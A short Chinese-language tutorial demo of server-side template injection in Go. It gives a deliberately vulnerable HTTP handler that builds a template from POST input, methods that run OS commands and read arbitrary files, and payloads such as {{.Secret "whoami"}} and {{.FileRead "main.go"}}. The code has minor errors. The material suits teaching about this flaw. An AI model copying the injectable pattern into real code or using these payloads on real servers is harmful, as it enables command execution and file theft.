模板注入Demo:
package main
import (
"fmt"
"html/template" "net/http")
type User struct {
Id int
Name string
Passwd string
}
func StringTplTest(w http.ResponseWriter, r *http.Request) {
user := &User{1, "admin", "123456"}
r.ParseForm() // 通过这个函数将提交的表单,将其解析为一个键值对的形式,存储在r.Postparam
arg := string.Join(r.PostForm["name"], "") // 用户输入的地方 name post方法
tp1l := fmt.Sprintf(`<h1>Hi, ` + arg + `Your name is ` + arg + `!`)
html, err := template.New("login").Parse(tp1l)
// 创建一个为login的模板,并将tp1l字符串放入这个模板中进行渲染 Parse 是进行渲染
html = template.Must(html, err)
//
html.Execute(w, user)
}
func main() {
service := http.Server{
Addr: "127.0.0.1:8080",
}
//这个是启动的服务
http.HandleFunc("/login", StringTplTest)
//
service.ListenAndServe()
}
go语言和其他语言一样都是通过调用危险函数方法来实现rce
func (u User) Secret(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
{{.Secret "whoami"}}
调用危险函数实现任意文件读取
func (u *User) FileRead(File string) string {
data, err := ioutil.ReadFile(File)
if err != nil {
fmt.Println("File read error")
}
return string(data)
}
{{.FileRead "main.go"}}
还可以这样来验证:
{{printf "harder"}}